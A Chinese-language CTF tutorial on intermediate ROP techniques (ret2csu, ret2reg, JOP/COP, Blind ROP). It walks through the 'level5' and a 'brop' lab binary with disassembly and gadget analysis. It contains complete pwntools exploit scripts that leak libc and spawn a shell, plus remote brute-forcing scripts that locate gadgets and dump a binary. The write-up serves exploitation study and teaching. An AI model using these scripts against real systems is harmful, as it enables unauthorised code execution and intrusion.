Stack Overflow - 中级ROP ret2csu 原理
在64位程序中,函数的前六个参数是通过寄存器传递的,但是多数时候,不是很容易找到每一个寄存器对应的gadgets,这种情况下可以利用x64下的 __libc_csu_init
中的gadgets。 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化
rdi,rsi,rdx,rcx,r8,r9用来传递函数的前六个参数,多于六个就放到栈里
libc包含了许多常见的函数:strcpy、strlen、strcmp、malloc、free、sprintf、scanf、printf、fopen、fclose、read、write等
这是一段_libc_csu_init
函数的汇编指令
.text:00000000004005A0 ; void _libc_csu_init(void) .text:00000000004005A0 public __libc_csu_init .text:00000000004005A0 __libc_csu_init proc near ; DATA XREF: _start+16↑o .text:00000000004005A0 .text:00000000004005A0 var_30= qword ptr -30h .text:00000000004005A0 var_28= qword ptr -28h .text:00000000004005A0 var_20= qword ptr -20h .text:00000000004005A0 var_18= qword ptr -18h .text:00000000004005A0 var_10= qword ptr -10h .text:00000000004005A0 var_8= qword ptr -8 .text:00000000004005A0 .text:00000000004005A0 ; __unwind { .text:00000000004005A0 48 89 6C 24 D8 mov [rsp+var_28], rbp .text:00000000004005A5 4C 89 64 24 E0 mov [rsp+var_20], r12 .text:00000000004005AA 48 8D 2D 73 08 20 00 lea rbp, cs:600E24h .text:00000000004005B1 4C 8D 25 6C 08 20 00 lea r12, cs:600E24h .text:00000000004005B8 4C 89 6C 24 E8 mov [rsp+var_18], r13 .text:00000000004005BD 4C 89 74 24 F0 mov [rsp+var_10], r14 .text:00000000004005C2 4C 89 7C 24 F8 mov [rsp+var_8], r15 .text:00000000004005C7 48 89 5C 24 D0 mov [rsp+var_30], rbx .text:00000000004005CC 48 83 EC 38 sub rsp, 38h .text:00000000004005D0 4C 29 E5 sub rbp, r12 .text:00000000004005D3 41 89 FD mov r13d, edi .text:00000000004005D6 49 89 F6 mov r14, rsi .text:00000000004005D9 48 C1 FD 03 sar rbp, 3 .text:00000000004005DD 49 89 D7 mov r15, rdx .text:00000000004005E0 E8 1B FE FF FF call _init_proc .text:00000000004005E0 .text:00000000004005E5 48 85 ED test rbp, rbp .text:00000000004005E8 74 1C jz short loc_400606 .text:00000000004005E8 .text:00000000004005EA 31 DB xor ebx, ebx .text:00000000004005EC 0F 1F 40 00 nop dword ptr [rax+00h] .text:00000000004005EC .text:00000000004005F0 .text:00000000004005F0 loc_4005F0: ; CODE XREF: __libc_csu_init+64↓j .text:00000000004005F0 4C 89 FA mov rdx, r15 .text:00000000004005F3 4C 89 F6 mov rsi, r14 .text:00000000004005F6 44 89 EF mov edi, r13d .text:00000000004005F9 41 FF 14 DC call qword ptr [r12+rbx*8] .text:00000000004005F9 .text:00000000004005FD 48 83 C3 01 add rbx, 1 .text:0000000000400601 48 39 EB cmp rbx, rbp .text:0000000000400604 75 EA jnz short loc_4005F0 .text:0000000000400604 .text:0000000000400606 .text:0000000000400606 loc_400606: ; CODE XREF: __libc_csu_init+48↑j .text:0000000000400606 48 8B 5C 24 08 mov rbx, [rsp+38h+var_30] .text:000000000040060B 48 8B 6C 24 10 mov rbp, [rsp+38h+var_28] .text:0000000000400610 4C 8B 64 24 18 mov r12, [rsp+38h+var_20] .text:0000000000400615 4C 8B 6C 24 20 mov r13, [rsp+38h+var_18] .text:000000000040061A 4C 8B 74 24 28 mov r14, [rsp+38h+var_10] .text:000000000040061F 4C 8B 7C 24 30 mov r15, [rsp+38h+var_8] .text:0000000000400624 48 83 C4 38 add rsp, 38h .text:0000000000400628 C3 retn .text:0000000000400628 ; } // starts at 4005A0 .text:0000000000400628 .text:0000000000400628 __libc_csu_init endp
可以利用的地方有:
gadgets1:
从0x0000000000400606 一直到0x000000000040061F,可以利用栈溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15 寄存器的数据,随着环境的不同,r13、r14、r15的顺序也可能会有所改变
gadgets2:
从 0x00000000004005F0 到 0x00000000004005F9,通过gadgets1中最后的ret,让程序流程走gadgets2,这样就可以将r15赋给rdx,将r14赋给rsi,将r13赋给edi(这里虽然赋给了edi,但是此时rdi的高32位值为0,所以可以控制rdi寄存器的值,不过只能控制低32位)。上述三个寄存也是x64函数调用中传递的前三个寄存器。所以如果可以合理地控制r12与rbx,那么就可以调用我们想要调用的函数。比如可以在gadgets1中控制rbx为0,call指令就可以跳转到r12寄存器存储的位置处,r12存储想要调用的函数地址
从 0x00000000004005FD 到 0x0000000000400604 ,判断是否与rbp相等,否则重新执行gadgets2。可以看出,能够通过控制rbx +1 = rbp,这样就不会再重复执行loc_400600,可以设置 rbx=0,rbp=1
上面是IDA分析的level5,ctfwiki中的是另一种:
.text:00000000004005C0 ; void _libc_csu_init(void) .text:00000000004005C0 public __libc_csu_init .text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16o .text:00000000004005C0 push r15 .text:00000000004005C2 push r14 .text:00000000004005C4 mov r15d, edi .text:00000000004005C7 push r13 .text:00000000004005C9 push r12 .text:00000000004005CB lea r12, __frame_dummy_init_array_entry .text:00000000004005D2 push rbp .text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry .text:00000000004005DA push rbx .text:00000000004005DB mov r14, rsi .text:00000000004005DE mov r13, rdx .text:00000000004005E1 sub rbp, r12 .text:00000000004005E4 sub rsp, 8 .text:00000000004005E8 sar rbp, 3 .text:00000000004005EC call _init_proc .text:00000000004005F1 test rbp, rbp .text:00000000004005F4 jz short loc_400616 .text:00000000004005F6 xor ebx, ebx .text:00000000004005F8 nop dword ptr [rax+rax+00000000h] .text:0000000000400600 .text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54j .text:0000000000400600 mov rdx, r13 .text:0000000000400603 mov rsi, r14 .text:0000000000400606 mov edi, r15d .text:0000000000400609 call qword ptr [r12+rbx*8] .text:000000000040060D add rbx, 1 .text:0000000000400611 cmp rbx, rbp .text:0000000000400614 jnz short loc_400600 .text:0000000000400616 .text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34j .text:0000000000400616 add rsp, 8 .text:000000000040061A pop rbx .text:000000000040061B pop rbp .text:000000000040061C pop r12 .text:000000000040061E pop r13 .text:0000000000400620 pop r14 .text:0000000000400622 pop r15 .text:0000000000400624 retn .text:0000000000400624 __libc_csu_init endp
首先是gadgets1,mov指令变成了pop指令,gadgets中r13和r15的位置有些变化,功能是一样的,只需要在写payload时更改一下即可
示例复现 题目来源:ROP_STEP_BY_STEP/linux_x64/level5 at master · zhengmin1989/ROP_STEP_BY_STEP · GitHub
检查安全保护
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
程序为64位,开启了堆栈不可执行保护,所以不能在栈中进行操作,IDA查看
int __cdecl main (int argc, const char **argv, const char **envp) { write(1 , "Hello, World\n" , 0xD uLL); return vulnerable_function(1LL ); } ssize_t vulnerable_function () { char buf[128 ]; return read(0 , buf, 0x200 uLL); }
能够看到read函数,read函数不检查输入字符串长度,可以进行溢出。能够看到buf变量距离rsp是0h
个字节,buf的起始地址就是sp的地址。buf变量距离rbp是0x80
,那么也就是可控制的栈空间就是buf变量的起始地址到ebp的地址0x80
个字节。因为是64位,所以ebp的位置还有8个字节,这样从变量的起始位置到ret返回有0x80 + 0x8
个字节
更推荐利用GDB计算栈空间,之前遇到的题目直接cyclic 200
然后计算就可以得到,但是在这道题目中是不能直接计算的
这是由于程序使用的内存地址不能大于0x00007fffffffffff
,否则会抛出异常,如果gdb中没有显示返回地址的话可以通过x/x $rsp
来查看即将返回的地址,在这里能够看见rsp的返回地址所以可以直接计算,如上图,注意小端序,所以偏移的计算应该是cyclic -l 0x6261616a
或cyclic -l jaab
,计算结果为136
而IDA中并没有找到system和/bin/sh,需要自己构造,如果system不起作用的话,用execve也可以获取shell
构造payload思路:
构建第一发payload,首先填充栈空间,将返回地址改为gadgets1,那么在gadgets1中利用寄存器部署三个参数,并且在最后调用write在got表中的地址进而调用write函数打印出write函数的地址,最后返回主main函数
第二发payload和第一发类似,不过要调用read函数
第三发调用是将bss段首地址和bss+8 ,即首地址的下八位地址(/bin/sh字符串)作为参数,只用到两个参数所以只需要用到r12和r13两个寄存器,其他寄存器使用0占位即可
write()会把参数buf所指的内存写入count个字节到参数放到所指的文件内,fd为文件描述符,fd为1时为标准输出
payload图示(Intermediate ROP (yuque.com) )
第一发:
第二发:
第三发:
构建EXP思路:
先获取write函数、read函数的got表地址,main函数和bss段的地址,然后进行第一次栈溢出,输出write函数地址
将输出的write函数地址接收,利用LibcSearch查找Libc版本并计算该版本Libc的基地址,进而查找到execve函数的地址,然后进行第二次栈溢出,利用read函数将execve和”/bin/sh”写入bss段
然后进行第三次栈溢出,调用bss段内的execve(‘/bin/sh’)
EXP:
from pwn import *from LibcSearcher import *level5 = ELF('./level5' ) sh = process('./level5' ) write_got = level5.got['write' ] read_got = level5.got['read' ] main_addr = level5.symbols['main' ] bss_base = level5.bss() csu_front_gadget = 0x00000000004005F0 csu_behind_gadget = 0x0000000000400606 def csu (fill, rbx, rbp, r12, r13, r14, r15, main ): payload = b'hollkdig' * 17 payload += p64(csu_behind_gadget) payload += p64(fill) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_gadget) payload += b'hollkdig' * 7 payload += p64(main) sh.send(payload) sleep(1 ) sh.recvuntil(b'Hello, World\n' ) csu(0 , 0 , 1 , write_got, 1 , write_got, 8 , main_addr) write_addr = u64(sh.recv(8 )) libc = LibcSearcher('write' , write_addr) libc_base = write_addr - libc.dump('write' ) execve_addr = libc_base + libc.dump('execve' ) log.success('execve_addr ' + hex (execve_addr)) sh.recvuntil(b'Hello, World\n' ) csu(0 , 0 , 1 , read_got, 0 , bss_base, 16 , main_addr) sh.send(p64(execve_addr) + b'/bin/sh\x00' ) sh.recvuntil(b'Hello, World\n' ) csu(0 , 0 , 1 , bss_base, bss_base + 8 , 0 , 0 , main_addr) sh.interactive()
改进
当允许输入的字节数较少时,可以考虑提前控制RBX和RBP,这样的话可以减少16字节
可以看到gadgets其实是两个部分,那么可以用两次调用,减少一次调用的字节数,但是需要有前提条件:
漏洞可以多次触发
两次触发之间,r12-r15寄存器的值未被修改
除了上面用到的gadgets,还有其他的函数也被编译进去了
_init _start call_gmon_start deregister_tm_clones register_tm_clones __do_global_dtors_aux frame_dummy __libc_csu_init __libc_csu_fini _fini
此外可以将源程序中的一些地址进行偏移从而来获取我们想要的指令,确保程序不崩溃即可
libc_csu_init 的尾部通过偏移是可以控制其他寄存器的
其他字段 gef➤ x/5i 0x000000000040061A 0x40061a <__libc_csu_init+90>: pop rbx 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 gef➤ x/5i 0x000000000040061b 0x40061b <__libc_csu_init+91>: pop rbp 0x40061c <__libc_csu_init+92>: pop r12 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 gef➤ x/5i 0x000000000040061A+3 0x40061d <__libc_csu_init+93>: pop rsp 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret gef➤ x/5i 0x000000000040061e 0x40061e <__libc_csu_init+94>: pop r13 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061f 0x40061f <__libc_csu_init+95>: pop rbp 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x0000000000400620 0x400620 <__libc_csu_init+96>: pop r14 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] gef➤ x/5i 0x0000000000400621 0x400621 <__libc_csu_init+97>: pop rsi 0x400622 <__libc_csu_init+98>: pop r15 0x400624 <__libc_csu_init+100>: ret 0x400625: nop gef➤ x/5i 0x000000000040061A+9 0x400623 <__libc_csu_init+99>: pop rdi 0x400624 <__libc_csu_init+100>: ret 0x400625: nop 0x400626: nop WORD PTR cs:[rax+rax*1+0x0] 0x400630 <__libc_csu_fini>: repz ret
ret2reg 原理
查看溢出函数返回时哪个寄存器指向缓冲区空间
查找call reg
或者jmp reg
指令,将EIP设置为该指令地址
在reg指向的空间上注入shellcode(确保该空间为可执行,栈上)
JOP JOP(Jump-Oriented Programming):JOP利用程序中的指令片段(gadget)来构造恶意代码执行流程。与ROP类似,但是JOP使用跳转指令来控制程序的执行流程,而不是使用函数调用指令。
COP COP(Call-Oriented Programming):COP是ROP的进一步发展,它使用程序中的函数调用指令(call instruction)来构建恶意代码执行流程。COP利用已有的函数调用和返回代码片段,将它们组合起来形成完整的恶意操作序列
BROP 基本原理 BROP(Blind ROP):是看不到源代码或者二进制文件情况下,对程序进行攻击,劫持程序的执行流。类似于web里面的盲注,看不到关键信息,需要一个一个地去试。
攻击条件
源程序必须存在栈溢出
服务器端的进程在崩溃之后能够重新启动,并且重新启动的进程的地址要与之前的地址一致(也就是说,即便有ASLR保护,那么也只是在程序最初启动的时候有效果)
攻击原理 基本思路:
判断栈溢出的长度:暴力枚举
Stack Reading:获取栈上的数据来泄露canary以及ebp和返回地址
Blind ROP:找到足够多的gadgets来控制输出的函数,并对其及进行调用,比如write函数或者puts函数
EXP:利用输出函数来dump出程序以便于找到更多的gadgets
栈溢出长度 暴力枚举,直到发现程序崩溃
Stack Reading 关于canary以及后面的变量,采用的方法一致,以canary为例进行说明。
枚举所有数值效率很低,可以按照字节爆破,每个字节最多有256种可能,在32位的情况下,最多爆破1024,64位最多爆破2048次
Blind ROP 调用函数的最简便方法就是系统调用号,但是实际上syscall几乎不可能
所以可以使用libc_csu_init
结尾的一段 gadgets 来实现
示例复现 题目源代码:pwn7文件|百度网盘 提取码:0m8j
C源码
#include <stdio.h> #include <unistd.h> #include <string.h> int i;int check () ;int main (void ) { setbuf(stdin ,NULL ); setbuf(stdout ,NULL ); setbuf(stderr ,NULL ); puts ("WelCome my friend,Do you know password?" ); if (!check()){ puts ("Do not dump my memory" ); }else { puts ("No password, no game" ); } } int check () { char buf[50 ]; read(STDIN_FILENO,buf,1024 ); return strcmp (buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk" ); }
这道题目中,read函数有着明显的栈溢出
当然,实际情况是看不到源码的,这里是方便理解
查看保护机制
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
NX保护开启,无法在栈中部署shellcode,考虑使用gadgets。实际情况下由于看不到二进制代码,所以只能暴力枚举来不断地穷举地址,判断地址是否是我们想要的。PIE没有开启,程序初始地址为0x400000
大致思路就是:控制put函数打印自己的GOT表地址,通过GOT地址利用LibSearch计算当前使用的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行
判断栈溢出空间大小 暴力枚举,通过循环不断增加输入的字符长度,直到程序崩溃
由于看不到源码,所以先找出正常情况下和程序崩溃后的两种回显,以便我们猜测出栈溢出长度
输入一个a,回显为“No password, no game”
hno@hno-virtual-machine:~/Desktop/CTF$ ./brop WelCome my friend,Do you know password? a No password, no game
输入一串长字符
hno@hno-virtual-machine:~/Desktop/CTF$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab hno@hno-virtual-machine:~/Desktop/CTF$ ./brop WelCome my friend,Do you know password? aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab Segmentation fault (core dumped)
没有显示“No password, no game”,那么就可以通过不断增加字符串长度,并且根据回显结果是否有“No password, no game”来判断什么长度覆盖了返回地址,该长度减一就是栈溢出的长度
def getbufferflow_length (): i = 1 while 1 : try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('WelCome my friend,Do you know password?\n' ) sh.send(i * 'a' ) output = sh.recv() sh.close() if not output.startswith('No password' ): return i - 1 else : i += 1 except EOFError: sh.close() return i - 1
代码的逻辑很简单,输入a到程序中,将获取到的回显内容放在output变量中,如果output变量的起始位置不是No password,那么就说明已经溢出了,这时候将a的数量减一即为栈溢出长度,否则就将a的数量加一继续输入到程序中。当发生EOFError异常时,表示可能存在Canary(用于检测缓冲区溢出的机制),这时也会返回栈溢出长度,减一即可。
在这道题中能够确定栈溢出的长度为72,并且根据返回信息发现没有canary保护
寻找stop gadget 由于我们不知道程序具体是什么样的,所以需要控制返回地址去猜测gadgets,当我们控制返回地址时,一般会有三种情况:
程序直接崩溃:ret地址指向的是一个程序内不存在的地址
程序运行一段时间以后崩溃,比如运行自己构造的函数,该函数的返回地址指向不存在的地址
程序一直运行而不崩溃
stop gadget一般指的是,当程序执行这段代码时,程序会进入无限循环,这样就使得攻击者一直保持连接状态,并且程序一直运行不崩溃,stop gadgets最后的ret地址就是程序开始的地址(main、start)
还是采用穷举的办法不断尝试每一个地址,从初始地址0x400000开始,通过循环不断增加地址进行尝试。
在执行stop gadget的时候程序会回到初始状态并且没有发生崩溃,那么可以利用这一特性,使用前面找到的72字节填满栈空间,之后接上穷举的地址,由于此时穷举的地址覆盖了ret地址,所以就可以执行穷举的地址,如果此时程序发生崩溃就进行下次循环,如果没有崩溃就将该地址输出。
def get_stop_addr (length ): addr = 0x400000 while 1 : try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'hollkdig' * length + p64(addr) sh.sendline(payload) sh.recv() sh.close() print 'one success addr: 0x%x' % (addr) return addr except Exception: addr += 1 sh.close() get_stop_addr(9 )
确定了stop gadget以后就可以为后面查找brop gadget、put plt、puts got做准备,运行后不崩溃的地址会有很多,当查找到第一个不崩溃的地址后可以将0x400000替换为不崩溃的地址,然后去找下一个,节约时间。接下来使用返回到源程序中的地址0x4006B6,该地址为main函数的开始地址,当然正常情况下是看不到的
.text:00000000004006B6 .text:00000000004006B6 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:00000000004006B6 public main .text:00000000004006B6 main proc near ; DATA XREF: _start+1Do .text:00000000004006B6 push rbp .text:00000000004006B7 mov rbp, rsp .text:00000000004006BA mov rax, cs:stdin@@GLIBC_2_2_5 .text:00000000004006C1 mov esi, 0 ; buf .text:00000000004006C6 mov rdi, rax ; stream
寻找brop gadget 接下来需要找到控制寄存器的gadget,我们的预想是利用put函数泄露出自己的got地址,通过got地址找到对应的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行,所以我们需要通过gadget来控制寄存器将需要打印的内容放入寄存器内
在ret2csu中能够知道在libc_csu_init
的结尾有一长串pop的gadget,其中是存在pop rdi
的,可以利用偏移获取
pop rbx pop rbp pop r12 pop r13 pop r14 ----------------->pop rsi 0x7 ----------------->pop r15 pop r15 ----------------->ret ----------------->pop rdi 0x9 ----------------->ret retn
能够看到如果以pop rbx为基地址的话向下偏移0x07会得到pop rsi
的操作,向下偏移0x09会得到pop rdi
的操作,这两个操作就可以帮助我们控制put函数的输出内容
既然需要用到pop rdi、pop rsi
的操作,那么就需要知道libc_csu_init
结尾6个pop操作的位置,这个时候stop gadget就起到作用了,在这里定义栈上的三种地址,以便于演示stop gadget的使用
Probe
探针,也就是我们想要循环递增的代码地址,一般来说都是64位程序,可以直接从0x400000尝试
Stop
Trap
可以通过在栈上拜访不同程序的stop和trap来识别出正在执行的指令
Probe、Stop、Traps以这样的方式排列,在栈中的排列如下:
+---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位 +---------------------------+ | probe | <----- 探针 -----------------------------
可以通过程序是否崩溃来判断Probe探针中可能存在的汇编语句,在这样的情况下,如果程序没有崩溃,就说明stop gadget被执行了,说明probe探针中没有pop 操作,并且有ret返回 ,如果有pop操作的话,stop会被pop到寄存器中,那么probe探针的ret返回就会指向stop的后几位traps,那么就会导致程序崩溃,由于在栈布局中的stop gadget在probe的下一位,说明stop所在位置就是probe探针的ret返回地址位置,如
Probe、Traps、Stop、Traps以这样的方式排列
+---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位 +---------------------------+ | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | probe | <----- 探针 -----------------------------
依旧可以通过程序是否崩溃来判断Probe探针中可能存在的汇编语句,在这样的情况下,如果程序没有崩溃,就说明stop gadget被执行了,说明probe指针中仅有一个pop操作,并且有ret返回 ,在probe中只有一个pop操作的时候才会只将probe后面的trap弹进寄存器,如果有两个及两个以上的pop操作时,stop gagdet也会被弹进寄存器中无法执行,并且在probe探针中ret返回所指的位置是stop才能使程序不崩溃
probe、trap、trap、trap、trap、trap、trap、stop、traps以这样的方式排列
+---------------------------+ | traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位 +---------------------------+ | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃 +---------------------------+ | probe | <----- 探针 -----------------------------
依旧可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样的布局下,如果程序没有崩溃,说明stop gadget被执行了,说明该probe探针存在6个pop操作,并且有ret ,因为只有在6个pop操作之后的probe后面的trap才能弹进寄存器,之后sp指针才能指向stop gagdet,这个时候stop gadget只有在ret位置才能被执行,因此程序不会崩溃
前面说我们要找的就是libc_csu_init
最后的6个pop加ret,那么根据我们前面的分析可以对trap、stop进行排列:
addr, trap, trap, trap, trap, trap, trap, stop, trap
以如上排列,addr通过循环不断增加地址位,只有addr所在地址拥有6个pop操作并ret的时候才会执行stop gadget
def get_brop_gadget (length, stop_gadget, addr ): try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(addr) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k) + p64(0 ) + p64(stop_gadget) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k) sh.sendline(payload) content = sh.recv() sh.close() print content if not content.startswith('WelCome' ): return False return True except Exception: sh.close() return False def check_brop_gadget (length, addr ): try : sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'a' * length + p64(addr) + 'a' * 8 * 10 sh.sendline(payload) content = sh.recv() sh.close() return False except Exception: sh.close() return True length = 72 stop_gadget = 0x4006b6 addr = 0x400740 while 1 : print hex (addr) if get_brop_gadget(length, stop_gadget, addr): print 'possible brop gadget: 0x%x' % addr if check_brop_gadget(length, addr): print 'success brop gadget: 0x%x' % addr break addr += 1
运行后会得到很多的gadget地址,但是只有0x4007ba
是可以进行操作的,可以使用IDA看一下该地址的语句:
.text:00000000004007BA pop rbx .text:00000000004007BB pop rbp .text:00000000004007BC pop r12 .text:00000000004007BE pop r13 .text:00000000004007C0 pop r14 .text:00000000004007C2 pop r15 .text:00000000004007C4 retn
栈中布局:
+---------------------------+ | 0 | trap +---------------------------+ | ..... | | trap +---------------------------+ | 0 | trap +---------------------------+ | stop gadget | stop gadget作为ret返回地址 +---------------------------+ | 0 | trap +---------------------------+ | k | trap +---------------------------+ | l | trap +---------------------------+ | l | trap +---------------------------+ | o | trap +---------------------------+ | h | trap +---------------------------+ | 0x400740+ | 递增地址覆盖原ret返回位置 +---------------------------+ | a | a字符串覆盖原saved ebp位置 ebp--->+---------------------------+ | a | a字符串占位填满栈空间 | .... | ..... | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 ebp-?-->+---------------------------+
得到brop gadget后加上0x9
的偏移就可以得到pop rdi; ret
的操作地址0x4007c3
寻找puts@plt地址 通过前面的操作可以总结出来一些规律,比如需要什么就把他丢到循环里,通过递增总会得到想要的结果,在上一步我们找到了pop rdi; ret
这个gadget地址了,那么我们可以控制puts函数的输出内容,所以需要用这个gadget找到puts_plt的地址。前面说过,想要调用puts函数,必须将puts函数的参数地址先部署到rdi寄存器内,然后调用puts函数将rdi中地址内的参数打印出来
但是由于开启了NX保护,所以我们无法在栈中部署外部的变量或者字符串,那么就需要一个程序内部的特殊字符串,这个字符串必须是唯一的,在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为'\x7fELF'
def get_puts_addr (length, rdi_ret, stop_gadget ): addr = 0x400000 while 1 : print hex (addr) sh = remote('127.0.0.1' , 9999 ) sh.recvuntil('password?\n' ) payload = 'A' * length + p64(rdi_ret) + p64(0x400000 ) + p64( addr) + p64(stop_gadget) sh.sendline(payload) try : content = sh.recv() if content.startswith('\x7fELF' ): print 'find hollkdig puts@plt addr: 0x%x' % addr return addr sh.close() addr += 1 except Exception: sh.close() addr += 1 length = 72 rdi_ret = 0x4007c3 stop_gadget = 0x4006b6
循环递增地址,找到可以进行打印的put_plt地址,当接收字符串出现'\x7fELF'
字样循环终止,为后续找到put_got地址做准备
最后选择0x400560作为puts_plt的地址,在IDA查看一下(正常情况下看不到)
.plt:0000000000400550 dq 2 dup(?) .plt:0000000000400560 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND] .plt:0000000000400566 dw ?
栈内的布局
+---------------------------+ | stop gadget | stop gadget确保程序不崩溃 +---------------------------+ | 0x400000+ | 循环递增地址,作为pop的ret地址 +---------------------------+ | 0x400000 | ELF起始地址,地址内存放'、x7fELF' +---------------------------+ | 0x4007c3 | pop rdi;ret地址覆盖原ret返回位置 +---------------------------+ | a | a字符串覆盖原saved ebp位置 ebp--->+---------------------------+ | a | a字符串占位填满栈空间 | .... | ..... | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 | a | a字符串占位填满栈空间 ebp-?-->+---------------------------+
泄露puts_got地址 得到puts_plt地址后,接下来就需要将puts_got地址泄露出来,得到puts_got地址以后就可以利用LibcSearch查找对应的libc版本,再根据版本找到libc中的system函数和/bin/sh
PLT表和GOT在前面学习过了,这里就不赘述。在ret2csu中使用的是LibcSearch查找的函数的GOT表地址,由于此题开启了ASLR保护,所以不能使用工具去寻找,那只能手动寻找,其实要找的就是put_plt地址后面存放的jmp指令要跳转的地址。
手动将整个PLT部分dump下来,dump出来的文件重新设置基地址为0x400000,再根据前面得到的puts_plt地址找到对应位置,查看该地址内的汇编指令
def leak (length, rdi_ret, puts_plt, leak_addr, stop_gadget ): sh = remote('127.0.0.1' , 9999 ) payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64( puts_plt) + p64(stop_gadget) sh.recvuntil('password?\n' ) sh.sendline(payload) try : data = sh.recv() sh.close() try : data = data[:data.index("\nWelCome" )] except Exception: data = data if data == "" : data = '\x00' return data except Exception: sh.close() return None length = 72 stop_gadget = 0x4006b6 brop_gadget = 0x4007ba rdi_ret = brop_gadget + 9 puts_plt = 0x400560 addr = 0x400000 result = "" while addr < 0x401000 : print hex (addr) data = leak(length, rdi_ret, puts_plt, addr, stop_gadget) if data is None : continue else : result += data addr += len (data) with open ('code' , 'wb' ) as f: f.write(result)
执行后会在本地目录得到一个名为”code“的文件
dump出来的文件可以看作是windows下脱壳后的文件,实际情况下是看不到二进制文件的,但是dump出来的plt段的内容时可以使用IDA查看的。
在IDA64中,选择binary File
形式打开,选择64-bit mode
给文件设置基地址为0x400000,edit->segments->rebase program
,改为0x400000即可
在之前找到的puts函数的plt的地址为0x400555,找到偏移0x560处,将该地址处的数据转化为汇编指令
seg000:000000000040055F db 0 seg000:0000000000400560 ; ------------------------------------------------------------- seg000:0000000000400560 jmp qword ptr cs:601018h seg000:0000000000400560 ; ------------------------------------------------------------- seg000:0000000000400566 db 68h ; h
puts_got地址为0x601018
